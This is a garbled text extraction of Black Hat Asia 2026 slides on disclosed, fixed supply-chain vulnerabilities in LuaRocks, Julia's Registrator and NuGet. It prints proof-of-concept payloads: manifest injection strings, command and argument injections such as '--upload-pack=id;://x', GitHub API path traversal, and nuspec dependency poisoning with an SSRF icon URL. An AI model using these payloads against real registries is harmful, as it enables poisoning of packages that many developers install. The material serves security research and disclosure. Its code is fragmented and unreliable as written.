

Hack the Source, Of the Source (English translation)

Hack the Source, Of the Source - Author not stated, Publisher not stated.

- Published: date not stated
- Original: <<https://i.blackhat.com/Asia-26/Presentations/BHAS26-Ng-Hack-the-Source-of-the-Source.pdf>>
- Preserved from: <https://i.blackhat.com/Asia-26/Presentations/BHAS26-Ng-Hack-the-Source-of-the-Source.pdf> (live) on 2026-08-08
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content (translated into English)

Machine translation of [hack-source-source.md](#), which holds the source's own words. Code, payloads, type names, URLs and CVE identifiers were masked before translating and restored after, so they are byte-identical to the original.

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Hack the Source, Of the Source Tsi-Lin (splitline) Ng You are

Absolutely Right :) Only Use Well-known, Reputable Sources for Installation. Use Packages from Trusted Developers. Don't Make Typos When Installing But, What if, the source of the packages

Got Hacked? T L I N E S P L S P L I I T L I L I T L I N E S P \$ whois splitline.tw L E S P T L I T L I N E S P L I Security Researcher @ DE CORE. N E S P L Member of UNDEFINED Conclave.

T L I N E S P L I T I N E S P L I Average Web .

I T L I N Ng E S Tsi-LinP L I L I N E S P L Supply Chain Attack Upload

Package Registry PyPI, npm, RubyGems, NuGet... Package Developer
requests Newtonsoft.Json express.js Upload

Package Registry PyPI, npm, RubyGems, NuGet... Package Developer
requests Newtonsoft.Json express.js Upload

Package Registry PyPI, npm, RubyGems, NuGet... Package Developer
requests Newtonsoft.Json express.js Upload

Package Registry PyPI, npm, RubyGems, NuGet... Package Developer
requests Newtonsoft.Json express.js Upload

Package Registry PyPI, npm, RubyGems, NuGet... Package Developer
requests Newtonsoft.Json express.js Upload

Package Registry PyPI, npm, RubyGems, NuGet... Package Developer
requests Newtonsoft.Json express.js Upload

Package Registry PyPI, npm, RubyGems, NuGet... Package Developer Compromise requests
Newtonsoft.Json express.js Upload

Package Registry PyPI, npm, RubyGems, NuGet... Package Developer Compromise requests
Newtonsoft.Json express.js

Poision. Upload

Package Registry PyPI, npm, RubyGems, NuGet... Package Developer
in ime ! Compromise g T Web Ha c requests k Newtonsoft.Json express.js

Poision. Disclaimer

All the bugs are reported and fixed Victim / 1/3 #Lua #OpenResty #ngx_lua #nvim \$ luarocks
install lua-cjson luarocks.org/manifest

```
manifest.repository["lua-cjson"] [<ver>]
```

```
{ {arch="rockspec"}, {arch="src"} }
```

luarocks.org/lua-cjson-2.1.0.10-1.rockspec Tamper luarocks.org/manifest

```
manifest.repository["lua-cjson"] [<ver>]
```

```
{ {arch="rockspec"}, {arch="src"} }
```

luarocks.org/lua-cjson-2.1.0.10-1.rockspec Hijack luarocks.org/manifest

```
commands = {} Lua Script modules = {} manifest.repository["lua-cjson"] [<ver>] repository = {  
["15puzzle.nvim"] = { ["1.4.0-1"] = { { arch = "rockspec" { {arch="rockspec"}, }, { {arch="src"} } arch =  
"src" } }, ["1.4.1-1"] = { { luarocks.org/lua-cjson-2.1.0.10-1.rockspec arch = "rockspec" }, {  
} arch = "src" Global }, ["main-1"] = { Manifest luarocks.org/manifest
```

```
commands = {} modules = {} manifest.repository["lua-cjson"] [<ver>] repository = {  
["15puzzle.nvim"] = { ["1.4.0-1"] = { { arch = "rockspec" { {arch="rockspec"}, }, { {arch="src"} } arch =  
"src" } }, luarocks.org/lua-cjson-2.1.0.10-1.rockspec ["1.4.1-1"] = { { luarocks.org/lua-cjson-2.1.0.10-1.rockspec  
arch = "rockspec" luarocks.org/lua-cjson-2.1.0.10-1.src.rock }, {
```

```
} arch = "src" Global }, ["main-1"] = { Manifest luarocks.org/manifest
```

```
commands = {} modules = {} manifest.repository["lua-cjson"] [<ver>] repository = {  
["15puzzle.nvim"] = { ["1.4.0-1"] = { { }, { arch = "rockspec" { {arch="rockspec"}, }, { {arch="src"} } arch =  
"src" arch = "meow" } }, ["1.4.1-1"] = { { luarocks.org/lua-cjson-2.1.0.10-1.rockspec arch =  
"rockspec" }, {
```

```
} Global luarocks.org/lua-cjson-2.1.0.10-1.src.rock arch = "src"
```

```
}, ["main-1"] = { Manifest luarocks.org/manifest
```

```

commands = {} modules = {} manifest.repository["lua-cjson"] [<ver>] repository = {
["15puzzle.nvim"] = { ["1.4.0-1"] = { {}, { arch = "rockspec" } {arch="rockspec"}, }, { {arch="src"}} arch
= "meow" arch = "meow" } }, ["1.4.1-1"] = { { luarocks.org/lua-cjson-2.1.0.10-1.rockspec arch =
"rockspec" }, {
} Global lua-cjson-2.1.0.10-1.meow.rock arch = "src"
}, ["main-1"] = { Manifest luarocks.org/manifest
commands = {} modules = {} manifest.repository["lua-cjson"] [<ver>] repository = {
["15puzzle.nvim"] = { ["1.4.0-1"] = { {}, { arch = "rockspec" } {arch="rockspec"}, }, { {arch="src"}} arch
= "meow\" arch = "meow" } }, ["1.4.1-1"] = { { luarocks.org/lua-cjson-2.1.0.10-1.rockspec arch =
"rockspec" }, {
} Global lua-cjson-2.1.0.10-1.meow\".rock arch = "src"
}, ["main-1"] = { Manifest luarocks.org/manifest
commands = {} modules = {} manifest.repository["lua-cjson"] [<ver>] repository = {
["15puzzle.nvim"] = { ["1.4.0-1"] = { {}, { arch = "rockspec" } {arch="rockspec"}, }, { {arch="src"}} arch
= "meow\" arch = "meow" } }, ["1.4.1-1"] = { { luarocks.org/lua-cjson-2.1.0.10-1.rockspec arch =
"rockspec" }, {
} Global lua-cjson-2.1.0.10-1.meow\".rock arch = "src"
}, ["main-1"] = { Manifest evil-1.0.x\"}}};repository={'lua-json '={['1.0.1-1']= {...}};--.rock
}}, my-evil-plugin = { Pwned! ["0.0.1"] = { { arch = "x\"}}};repository={'lua-cjson'={ [...]]}; } }, evil-
1.0.x\"}}};repository={'lua-json '={['1.0.1-1']= {...}};--.rock
}}, my-evil-plugin = { Pwned! ["0.0.1"] = { { arch = "x\"}}};repository={'lua-cjson'={ [...]]}; } },
luarocks.org/manifest
manifest.repository["lua-cjson"] [<ver>]
{{arch="rockspec"}, {arch="src"}}
luarocks.org/lua-cjson-2.1.0.10-1.rockspec luarocks.org/manifest
manifest.repository["lua-cjson"] [<ver>]
{{arch="rockspec"}, {arch="src"}}
luarocks.org/lua-cjson-2.1.0.10-1.rockspec luarocks.org/manifest
manifest.repository["lua-cjson"] [<ver>]
lua-cjson 2.1.0.10-1 Name {{arch="rockspec"}, Version {arch="src"}}
luarocks.org/lua-cjson-2.1.0.10-1.rockspec luarocks.org/manifest
manifest.repository["lua-cjson"] [<ver>]
lua-cjson-2.1.0.10 1 Name {{arch="rockspec"}, Version {arch="src"}}
luarocks.org/lua-cjson-2.1.0.10-1.rockspec luarocks.org/manifest
manifest.repository["lua-cjson"] [<ver>]
lua-cjson-2.1.0.10 1 Name {{arch="rockspec"}, Version {arch="src"}}

```

```

luarocks.org/luasocket-3.0.0-1.rockspec luarocks.org/manifest
manifest.repository["luasocket"] [<ver>]
luasocket-3.0.0-1 Name {{arch="rockspec"}, Version {arch="src"}}
luarocks.org/luasocket-3.0.0-1.rockspec luarocks.org/manifest
manifest.repository["luasocket"] [<ver>]
Pwned! luasocket-3.0.0-1 Name {{arch="rockspec"}, Version {arch="src"}}
luarocks.org/luasocket-3.0.0-1.rockspec luarocks.org/manifest
manifest.repository["luasocket"] [<ver>]
luasocket-3.0.0-1 Name {{arch="rockspec"}, Version {arch="src"}} Error:
/var/tmp/T/luarocks_luarocks-rockspec-lua-resty-ngxvar-0.1-0-968418 2/lua-resty-ngxvar-0.1-
0.rockspec: luarocks.org/luasocket-3.0.0-1.rockspec Type mismatch on field version: invalid
value '1' does not match '[%w.]+-[%d]+' (using rockspec format 1.0) Server / Client LuaJIT / Lua 5.3+
Doubles / Int64
if 9007199254740993== 9007199254740992 then package = "lua-resty" -- server sees this version =
"http-0.06-0" else package = "lua-resty-http" -- client sees this version = "0.06-0" End Server / Client
LuaJIT / Lua 5.3+ Doubles / Int64
if 9007199254740993== 9007199254740992 then
Pwned! package = "lua-resty" -- server sees this version = "http-0.06-0" else package = "lua-resty-
http" -- client sees this version = "0.06-0" End Victim / 2/3 (@v1.10) pkg> add JSON Installing known
registries into ~/ Resolving package versions... Installed Parsers v2.4.0 Installed JSON
v0.21.3 Updating ~/.julia/environments/v1.10/Project.toml [682c06a0] + JSON v0.21.3
github.com/JuliaRegistries/General.git. Updating ~/.julia/environments/v1.10/Manifest.toml [682c06a0]
+ JSON v0.21.3 [69de0a69] + Parsers v2.4.0 [ade2ca70] + Dates [a63ad114] + Mmap [de0858da] +
Printf repo_url
subdir
branch function gettreesha(repo, ref, subdir) return try url = cloneurl(repo) mktempdir() do dir
dest = joinpath(dir, repo) withpasswd(url) do url, env run(Cmd( git clone --bare $url $dest ; env)) end
readchomp( git -C $dest rev-parse $ref:$subdir ), "" end
.....
omg C oMmA nD function gettreesha(repo, ref, subdir) return try InJeC url = cloneurl(repo)
mktempdir() do dir tloN dest = joinpath(dir, repo) withpasswd(url) do url, env run(Cmd( git clone --
bare $url $dest ; env)) end readchomp( git -C $dest rev-parse $ref:$subdir ), "" end main: ;whoami
.....
subdir= ;whoami omg C This is Safe o(TL;DR) MmA nD function gettreesha(repo, ref, subdir) return
try InJeC url = cloneurl(repo) mktempdir() do dir tloN dest = joinpath(dir, repo) withpasswd(url) do
url, env run(Cmd( git clone --bare $url $dest ; env)) end readchomp( git -C $dest rev-parse $ref:$subdir ), ""
end # ..... exec("git", ["git", "-C", "/tmp/x", "rev-parse", "main:; whoami"]) function gettreesha(repo,

```

```

ref, subdir) return try url = cloneurl(repo) mktempdir() do dir dest = joinpath(dir, repo)
withpasswd(url) do url, env run(Cmd( git clone --bare $url $dest ; env)) end readchomp( git -C $dest rev-
parse $ref:$subdir ), "" end

```

.....

```

omg A rGuM InJeC eNt function gettreesha(repo, ref, subdir) return try tloN url = cloneurl(repo)
mktempdir() do dir dest = joinpath(dir, repo) withpasswd(url) do url, env run(Cmd( git clone --bare
$url $dest ; env)) end readchomp( git -C $dest rev-parse $ref:$subdir ), "" end

```

.....

```

om /bar.git oo . c k =w h oa mi;://f ac --u pload-p omg A rGuM InJeC eNt tloN  function
gettreesha(repo, ref, subdir) return try url = cloneurl(repo) mktempdir() do dir dest = joinpath(dir,
repo) withpasswd(url) do url, env run(Cmd( git clone --bare $url $dest ; env)) end readchomp( git -C
$dest rev-parse $ref:$subdir ), "" end

```

.....

```

omg A rGuM InJeC eNt tloN  function gettreesha(repo, ref, subdir) return try url = cloneurl(repo)
mktempdir() do dir api.github.com/repos/<user>/<repo> dest = joinpath(dir, repo) withpasswd(url)
do url, env run(Cmd( git clone --bare $url $dest ; env))

```

```

{ end readchomp( git -C $dest rev-parse $ref:$subdir ), "" "full_name":"<user>/<repo>", ... end # .....
"clone_url":"https://github.com/...", } omg A rGuM InJeC eNt tloN  function gettreesha(repo, ref,
subdir) return try url = cloneurl(repo) mktempdir() do dir api.github.com/repos/<user>/<repo>
dest = joinpath(dir, repo)

```

```

useless  withpasswd(url) do url, env run(Cmd( git clone --bare $url $dest ; env))

```

```

{ end readchomp( git -C $dest rev-parse $ref:$subdir ), "" "full_name":"<user>/<repo>", ... end # .....
"clone_url":"https://github.com/...", } JuliaRegistries/Registrator.jl JuliaWeb/HTTP.jl

```

```

JuliaRegistries/Registrator.jl

```

```

RCE  JuliaWeb/GitForge.jl JuliaWeb/HTTP.jl

```

```

JuliaRegistries/Registrator.jl

```

```

RCE  JuliaWeb/GitForge.jl function gettreesha(repo, ref, subdir) return try url = cloneurl(repo)
mktempdir() do dir api.github.com/repos/<user>/<repo> dest = joinpath(dir, repo) withpasswd(url)
do url, env run(Cmd( git clone --bare $url $dest ; env))

```

```

{ end readchomp( git -C $dest rev-parse $ref:$subdir ), "" "full_name":"<user>/<repo>", ... end # .....
"clone_url":"https://github.com/...", } function gettreesha(repo, ref, subdir) return try url =
cloneurl(repo) mktempdir() do dir api.github.com/repos/<user>/<repo> dest = joinpath(dir, repo)
withpasswd(url) do url, env      run(Cmd( git clone --bare $url $dest ; env))

```

```

{ end How does a URL become THIS readchomp( git -C $dest rev-parse $ref:$subdir ), "" "full_name":"
<user>/<repo>", ... end # ..... "clone_url":"https://github.com/...", } repo_url =
https://github.com/<user>/<repo> function gettreesha(repo, ref, subdir) return try url =

```

```
cloneurl(repo) mktempdir() do dir api.github.com/repos/<user>/<repo> dest = joinpath(dir, repo)
withpasswd(url) do url, env run(Cmd( git clone --bare $url $dest ; env))
```

```
{ end readchomp( git -C $dest rev-parse $ref:$subdir ), "" "full_name":"<user>/<repo>", ... end # .....
```

```
"clone_url":"https://github.com/...", } repo_url = https://github.com/<user>/<repo> function
gettreesha(repo, ref, subdir) return try url = cloneurl(repo) mktempdir() do dir Split by "/"
api.github.com/repos/<user>/<repo> dest = joinpath(dir, repo) withpasswd(url) do url, env
run(Cmd( git clone --bare $url $dest ; env))
```

```
{ end readchomp( git -C $dest rev-parse $ref:$subdir ), "" "full_name":"<user>/<repo>", ... end # .....
```

```
"clone_url":"https://github.com/...", } repo_url = https://github.com/<user>/<repo>\\.foo function
gettreesha(repo, ref, subdir) return try url = cloneurl(repo) mktempdir() do dir Backslash \
api.github.com/repos/<user>/<repo> dest = joinpath(dir, repo) withpasswd(url) do url, env
run(Cmd( git clone --bare $url $dest ; env))
```

```
{ end readchomp( git -C $dest rev-parse $ref:$subdir ), "" "full_name":"<user>/<repo>", ... end # .....
```

```
"clone_url":"https://github.com/...", } function gettreesha(repo, ref, subdir) return try
```

API Path Traversal! url = cloneurl(repo) mktempdir() do dir

```
api.github.com/repos/..whatever\endpoint dest = joinpath(dir, repo) withpasswd(url) do url, env
run(Cmd( git clone --bare $url $dest ; env))
```

```
Controllable end JSON readchomp( git -C $dest rev-parse $ref:$subdir ), "" { end "clone_url":"--upload-
pack=pwned;://foo", } # ..... function gettreesha(repo, ref, subdir) return try url = cloneurl(repo) ...
to where mktempdir() do dir api.github.com/repos/..whatever\endpoint dest = joinpath(dir,
repo) withpasswd(url) do url, env run(Cmd( git clone --bare $url $dest ; env))
```

```
Controllable end JSON readchomp( git -C $dest rev-parse $ref:$subdir ), "" { end "clone_url":"--upload-
pack=pwned;://foo", } # ..... function gettreesha(repo, ref, subdir) return try url = cloneurl(repo)
```

```
What path should we traverse to? mktempdir() do dir api.github.com/repos/..whatever\endpoint
dest = joinpath(dir, repo) withpasswd(url) do url, env run(Cmd( git clone --bare $url $dest ; env))
```

```
Controllable JSON end readchomp( git -C $dest rev-parse $ref:$subdir ), "" { end "clone_url":"--upload-
pack=pwned;://foo", } # ..... api.github.com /markdown /repos/X/Y/contents/file.md
/repos/X/Y/releases/assets/67 /repos/X/Y/actions/jobs/67/logs api.github.com /markdown POST
/markdown HTTP/1.1 Host: api.github.com
```

```
{"text":"foo"}
```

```
<p>foo</p> api.github.com /repos/X/Y/contents/F GET /repos/foo/bar\contents\README
HTTP/1.1\r\n accept: application/vnd.github.v3.raw Host: api.github.com 2 nd /
```

Hello, World!

```
api.github.com /repos/X/Y/releases/assets GET /repos/x/y/releases/assets\67 HTTP/1.1\r\n accept:
application/octet-stream Host: api.github.com 2 nd /
```

```
HTTP/2 302 Location: https://objects.githubusercontent.co... api.github.com
```

```
/repos/X/Y/actions/.../logs GET /repos/x/y/actions/jobs\67/logs HTTP/1.1 Host: api.github.com
```

```
2026-02-01T05:14:17.2753620Z Current runner version: '2.331.0' 2026-02-01T05:14:17.2817650Z
```

```
##[group]Runner Image Provisioner 2026-02-01T05:14:17.2824450Z Hosted Compute Agent 2026-
```

02-01T05:14:17.2830680Z Version: 20260123.484

Can't be JSON 2026-02-01T05:14:17.2831450Z Commit:

6bd6555ca37d84114959e1c76d2c01448ff61c5d 2026-02-01T05:14:17.2832310Z Build Date: 2026-01-23T19:41:17Z 2026-02-01T05:14:17.2832960Z Worker ID: {add5b1d6-1345-42d0-8d4b-4e0124578afc} api.github.com /repos/X/Y/actions/.../logs GET /repos/x/y/actions/jobs/67/logs HTTP/1.1 Host: api.github.com

2026-02-01T05:14:17.2753620Z Current runner version: '2.331.0' 2026-02-01T05:14:17.2817650Z ##[group]Runner Image Provisioner 2026-02-01T05:14:17.2824450Z Hosted Compute Agent 2026-02-01T05:14:17.2830680Z Version: 20260123.484

Can't be JSON 2026-02-01T05:14:17.2831450Z Commit:

6bd6555ca37d84114959e1c76d2c01448ff61c5d 2026-02-01T05:14:17.2832310Z Build Date: 2026-01-23T19:41:17Z 2026-02-01T05:14:17.2832960Z Worker ID: {add5b1d6-1345-42d0-8d4b-4e0124578afc} api.github.com /repos/X/Y/actions/.../logs GET /repos/x/y/actions/jobs/67/logs HTTP/1.1 Host: api.github.com

2026-02-01T05:14:17.2753620Z Current runner version: '2.331.0' 2026-02-01T05:14:17.2817650Z ##[group]Runner Image Provisioner 2026-02-01T05:14:17.2824450Z Hosted Compute Agent 2026-02-01T05:14:17.2830680Z Version: 20260123.484

How did it appear 2026-02-01T05:14:17.2831450Z Commit:

6bd6555ca37d84114959e1c76d2c01448ff61c5d 2026-02-01T05:14:17.2832310Z Build Date: 2026-01-23T19:41:17Z 2026-02-01T05:14:17.2832960Z Worker ID: {add5b1d6-1345-42d0-8d4b-4e0124578afc} git push GitHub Actions

GitHub Runners

Log git push GitHub Actions

Self-Hosted Runners

Log Handcrafted Runner git push GitHub Actions

Self-Hosted Runners

Arbitrary Log api.github.com /repos/X/Y/actions/.../logs GET /repos/x/y/actions/jobs/67/logs HTTP/1.1 Host: api.github.com

2026-02-01T05:14:17.2753620Z Current runner version: '2.331.0' 2026-02-01T05:14:17.2817650Z ##[group]Runner Image Provisioner 2026-02-01T05:14:17.2824450Z Hosted Compute Agent 2026-02-01T05:14:17.2830680Z Version: 20260123.484 2026-02-01T05:14:17.2831450Z Commit: 6bd6555ca37d84114959e1c76d2c01448ff61c5d 2026-02-01T05:14:17.2832310Z Build Date: 2026-01-23T19:41:17Z 2026-02-01T05:14:17.2832960Z Worker ID: {add5b1d6-1345-42d0-8d4b-4e0124578afc} api.github.com /repos/X/Y/actions/.../logs GET /repos/x/y/actions/jobs/67/logs HTTP/1.1 Host: api.github.com

{ "whatever": "meow", "foo": "bar", } api.github.com /repos/X/Y/actions/.../logs GET /repos/x/y/actions/jobs/67/logs HTTP/1.1 Host: api.github.com

{ "whatever": "meow", "foo": "bar", "clone_url": "--upload-pack=whoami;://foo/bar.git" } function gettreesha(repo, ref, subdir) return try url = cloneurl(repo) mktempdir() do dir api.github.com/repos/..hack\exp\actions\jobs\1337\logs dest = joinpath(dir, repo) withpasswd(url)

```
do url, env git cloneclone run(Cmd( git --bare --bare--upload-pack=id;://x $url $dest ; env)) /tmp/x end
Controllable JSON readchomp( git -C $dest rev-parse $ref:$subdir ), "" { end "clone_url": "--upload-
pack=id;://x/y", # ..... } function gettreesha(repo, ref, subdir) return try url = cloneurl(repo)
mktempdir() do dir api.github.com/repos/..hack\exp\actions\jobs\1337\logs dest = joinpath(dir,
repo)
```

```
Pwned! withpasswd(url) do url, env git cloneclone run(Cmd( git --bare --bare--upload-pack=id;://x $url
$dest ; env)) /tmp/x end Controllable JSON readchomp( git -C $dest rev-parse $ref:$subdir ), "" { end
"clone_url": "--upload-pack=id;://x/y", # ..... } Victim 3/3 PS> nuget install Newtonsoft.Json PS>
dotnet add package Newtonsoft.Json
```

```
PS> nuget install Newtonsoft.Json
```

```
Visual Studio Package Manager    nuget install dotnet restore VS Package Manager dotnet add
package <pkg>
```

```
Registration Blob Flat Container
```

```
/v3/registration5-gz-semver2/ /v3-flatcontainer/newtonsoft.json newtonsoft.json/index.json
/1.2.3/newtonsoft.json.1.2.3.nupkg pkg.nupkg
```

```
Normal.Package.nuspec
```

```
lib/net48/foo.dll <?xml version="1.0" encoding="utf-8"?> <package xmlns="http://schema...">
lib/net48/bar.dll Devs <metadata> <id>Newtonsoft.Json</id> <version>13.0.4</version>
<dependencies> <dependency id="Lib.A" version="1.0.0" /> </dependencies> </metadata>
</package> pkg.nupkg
```

```
Normal.Package.nuspec
```

```
lib/net48/foo.dll Upload Validation lib/net48/bar.dll
```

```
Devs Background Published Jobs pkg.nupkg
```

```
Normal.Package.nuspec
```

```
lib/net48/foo.dll Upload Validation lib/net48/bar.dll
```

```
Storage Devs Normal.Package.nuspec
```

```
lib/net48/foo.dll Background lib/net48/bar.dll Jobs Blob Storage pkg.nupkg Se l e c t i n g L o g i c?
```

```
Normal.Package.nuspec
```

```
lib/net48/foo.dll Upload Validation lib/net48/bar.dll
```

```
Storage Devs Normal.Package.nuspec
```

```
lib/net48/foo.dll Background lib/net48/bar.dll Jobs Blob Storage pkg.nupkg Upload Validation
Normal.Package.nuspec
```

```
1. Traverse files
```

```
lib/net48/foo.dll 2. Non-root Skip lib/net48/bar.dll 3. *.nuspec Select
```

```
Storage Devs Normal.Package.nuspec
```

```
lib/net48/foo.dll Select 1st non-root nuspec lib/net48/bar.dll
```

```
Blob Storage Background Job pkg.nupkg Upload Validation Normal.Package.nuspec
```


1. Traverse files

lib/net48/foo.dll 2. Non-root Skip lib/net48/bar.dll 3. *.nuspec Select

Storage Devs Normal.Package.nuspec

lib/net48/foo.dll Select 1st non-root nuspec lib/net48/bar.dll

Blob Storage Background Job pkg.nupkg Upload Validation Normal.Package.nuspec

1. Traverse files

lib/net48/foo.dll 2. Contains "/" or "\" Skip lib/net48/bar.dll 3. *.nuspec Select

Storage Devs Normal.Package.nuspec

lib/net48/foo.dll Select 1st no "/" nuspec lib/net48/bar.dll

Blob Storage Background Job pkg.nupkg

Normal.Package.nuspec

lib/net48/foo.dll Upload Validation lib/net48/bar.dll

Inconsistence Storage Devs Normal.Package.nuspec

lib/net48/foo.dll Background lib/net48/bar.dll Jobs Blob Storage <?xml version="1.0" encoding="utf-8"?> <package xmlns="http://schema..."> <metadata> exp.nupkg <id>Newtonsoft.Json</id> <dependencies> sub%2Fevil.nuspec <dependency id="Evil.Pkg" version="9.9.9" /> Normal.Package.nuspec </dependencies> </metadata></package> lib/net48/foo.dll

<?xml version="1.0" encoding="utf-8"?> <package xmlns="http://schema..."> <metadata> <id>Very.Normal.Package</id> </metadata></package> exp.nupkg Upload Validation sub\evil.nuspec

Normal.Package.nuspec

lib/net48/foo.dll

sub\evil.nuspec

Normal.Package.nuspec

lib/net48/foo.dll

Blob Storage Background Job exp.nupkg Upload Validation sub\evil.nuspec ---> sub \ evil.nuspec -> Subdir, skip

Normal.Package.nuspec ---> Archive Root -> Validates OK

lib/net48/foo.dll

- ID=Normal.Package

Database

sub\evil.nuspec

Normal.Package.nuspec

lib/net48/foo.dll

Blob Storage Background Job exp.nupkg Upload Validation sub\evil.nuspec ---> sub \ evil.nuspec
-> Subdir, skip

Normal.Package.nuspec ---> Archive Root -> Validates OK

lib/net48/foo.dll

- ID=Normal.Package

Database

sub\evil.nuspec

Normal.Package.nuspec

lib/net48/foo.dll

Blob Storage Background Job exp.nupkg Upload Validation sub\evil.nuspec ---> sub \ evil.nuspec
-> Subdir, skip

Normal.Package.nuspec ---> Archive Root -> Validates OK

lib/net48/foo.dll

- ID=Normal.Package

Database

| v sub\evil.nuspec ---> (Db2Catalog) -> Selected

Normal.Package.nuspec id = Newtonsoft.Json lib/net48/foo.dll --> Catalog2Reg Blob Storage
Background Job exp.nupkg Upload Validation sub\evil.nuspec ---> sub \ evil.nuspec -> Subdir,
skip

Normal.Package.nuspec ---> Archive Root -> Validates OK

lib/net48/foo.dll

- ID=Normal.Package

Database

| v sub\evil.nuspec ---> (Db2Catalog) -> Selected

Normal.Package.nuspec id = Newtonsoft.Json Deps = [malicious.lib] lib/net48/foo.dll -->
Catalog2Reg Blob Storage Background Job exp.nupkg Upload Validation sub%2Fevil.nuspec --->
sub / evil.nuspec -> Subdir, skip

Normal.Package.nuspec ---> Archive Root -> Validates OK

lib/net48/foo.dll

- ID=Normal.Package

Pwned! Database

| v sub%2Fevil.nuspec ---> (Db2Catalog) -> Selected

Normal.Package.nuspec id = Newtonsoft.Json deps = [malicious] lib/net48/foo.dll --> Catalog2Reg
Blob Storage Background Job exp.nupkg Upload Validation sub%2Fevil.nuspec ---> sub /
evil.nuspec -> Subdir, skip

Normal.Package.nuspec ---> Archive Root -> Validates OK

lib/net48/foo.dll

- ID=Normal.Package

ob Po i sone d ! Database

gi st r a t i on B l Re | v sub%2Fevil.nuspec ---> (Db2Catalog) -> Selected

Normal.Package.nuspec id = Newtonsoft.Json deps = [malicious] lib/net48/foo.dll --> Catalog2Reg
Blob Storage Background Job exp.nupkg Upload Validation sub%2Fevil.nuspec ---> sub /
evil.nuspec -> Subdir, skip

Normal.Package.nuspec ---> Archive Root -> Validates OK

lib/net48/foo.dll

- ID=Normal.Package

I ob Po i sone d Database B Regist Hold On r a t i on sub%2Fevil.nuspec ---> (Db2Catalog) ->
Selected

Normal.Package.nuspec id = Newtonsoft.Json deps = [malicious] lib/net48/foo.dll --> Catalog2Reg
Blob Storage Background Job nuget install dotnet restore VS Package Manager dotnet add package
<pkg>

Registration Blob Flat Container

/v3/registration5-gz-semver2/ /v3-flatcontainer/newtonsoft.json newtonsoft.json/index.json
/1.2.3/newtonsoft.json.1.2.3.nupkg

Newtonsoft.Json.nuspec {..., lib/net48/... "items": [{"items": [{"catalogEntry": { <metadata>
"dependencyGroups": [Deps] <id>Newtonsoft.Json</id>

} <dependencies> <dependency ... /> </dependencies> }]]} </metadata></package> nuget install
dotnet restore VS Package Manager dotnet add package <pkg>

Registration Blob Flat Container

/v3/registration5-gz-semver2/ /v3-flatcontainer/newtonsoft.json newtonsoft.json/index.json
/1.2.3/newtonsoft.json.1.2.3.nupkg

Newtonsoft.Json.nuspec {..., lib/net48/... "items": [{"items": [{"
Poisoned "catalogEntry": { <metadata> "dependencyGroups": [Deps] <id>Newtonsoft.Json</id>

} Legit <dependencies> <dependency ... /> </dependencies> }]]} </metadata></package>

Upload lib/net48/foo.dll

- ID=Normal.Package Validation

Database

| v sub%2Fevil.nuspec ---> (Db2Catalog) -> Selected

Normal.Package.nuspec id = Newtonsoft.Json Catalog lib/net48/foo.dll deps = [malicious]

Blob Storage

Background Job Upload lib/net48/foo.dll

- ID=Normal.Package Validation

Database

| v sub%2Fevil.nuspec ---> (Db2Catalog) -> Selected

Normal.Package.nuspec id = Newtonsoft.Json Catalog lib/net48/foo.dll deps = [malicious]

Blob Storage ...

Catalog2Dnx

Catalog2Reg Catalog2Icon

Background Job Upload lib/net48/foo.dll

- ID=Normal.Package Validation

Database

| v sub%2Fevil.nuspec ---> (Db2Catalog) -> Selected

Normal.Package.nuspec id = Newtonsoft.Json Catalog lib/net48/foo.dll deps = [malicious]

Blob Storage ...

Catalog2Dnx

Catalog2Reg Catalog2Icon

Background Job Upload lib/net48/foo.dll

- ID=Normal.Package Validation

Database

| v sub%2Fevil.nuspec ---> (Db2Catalog) -> Selected

Normal.Package.nuspec id = Newtonsoft.Json Catalog lib/net48/foo.dll deps = [malicious]

iconUrl=http://127.1 Blob Storage

SSRF Catalog2Icon

Background Job Upload lib/net48/foo.dll

- ID=Normal.Package Validation

Database

| v sub%2Fevil.nuspec ---> (Db2Catalog) -> Selected

Normal.Package.nuspec id = Newtonsoft.Json Catalog lib/net48/foo.dll deps = [malicious]

iconUrl=http://hack.er Blob Storage

Catalog2Icon

Background Job Upload lib/net48/foo.dll

- ID=Normal.Package Validation

Database

| id = Newtonsoft.Json v sub%2Fevil.nuspec deps = [malicious] ---> (Db2Catalog) -> Selected

iconUrl=http://hack.er Normal.Package.nuspec id = Newtonsoft.Json Catalog lib/net48/foo.dll deps

= [malicious] iconUrl=http://hack.er Blob Storage azure://flat-container/newtonsoft.json/13.0.3/icon

Arbitrary Icon Write Catalog2Icon

Background Job Upload lib/net48/foo.dll

- ID=Normal.Package Validation

Database

| id = Newtonsoft.Json sub%2Fevil.nuspec deps = [malicious] ---> (Db2Catalog) -> Selected iconUrl=http://hack.er Normal.Package.nuspec id = Newtonsoft.Json Catalog lib/net48/foo.dll deps = [malicious] iconUrl=http://hack.er Blob Storage azure://flat-container/newtonsoft.json/13.0.3/icon Catalog2Icon

Background Job Upload lib/net48/foo.dll

- ID=Normal.Package Validation

Database id = | newtonsoft.json/13.0/newtonsoft.json.13.0.nupkg v deps = [malicious] sub%2Fevil.nuspec ---> (Db2Catalog) -> Selected iconUrl=http://hack.er Normal.Package.nuspec id = Newtonsoft.Json Catalog lib/net48/foo.dll deps = [malicious] iconUrl=http://hack.er Blob Storage azure://flat-container/newtonsoft.json/13.0/newtonsoft.json.13.0.nupkg/icon

Catalog2Icon

Background Job Upload lib/net48/foo.dll

- ID=Normal.Package Validation

Database id = | newtonsoft.json/13.0/newtonsoft.json.13.0.nupkg# v deps = [malicious] sub%2Fevil.nuspec ---> (Db2Catalog) -> Selected iconUrl=http://hack.er Normal.Package.nuspec id = Newtonsoft.Json Catalog lib/net48/foo.dll deps = [malicious] iconUrl=http://hack.er Blob Storage azure://flat-container/newtonsoft.json/13.0/newtonsoft.json.13.0.nupkg#/icon

Catalog2Icon

Background Job Upload lib/net48/foo.dll

- ID=Normal.Package Validation

Database id = | newtonsoft.json/13.0/newtonsoft.json.13.0.nupkg# v deps = [malicious] sub%2Fevil.nuspec ---> (Db2Catalog) -> Selected iconUrl=http://hack.er Normal.Package.nuspec id = Newtonsoft.Json Image Catalog lib/net48/foo.dll deps = [malicious] iconUrl=http://hack.er Blob Storage ZIP azure://flat-container/newtonsoft.json/13.0/newtonsoft.json.13.0.nupkg#/icon

Catalog2Icon

Background Job Upload lib/net48/foo.dll

- ID=Normal.Package Validation

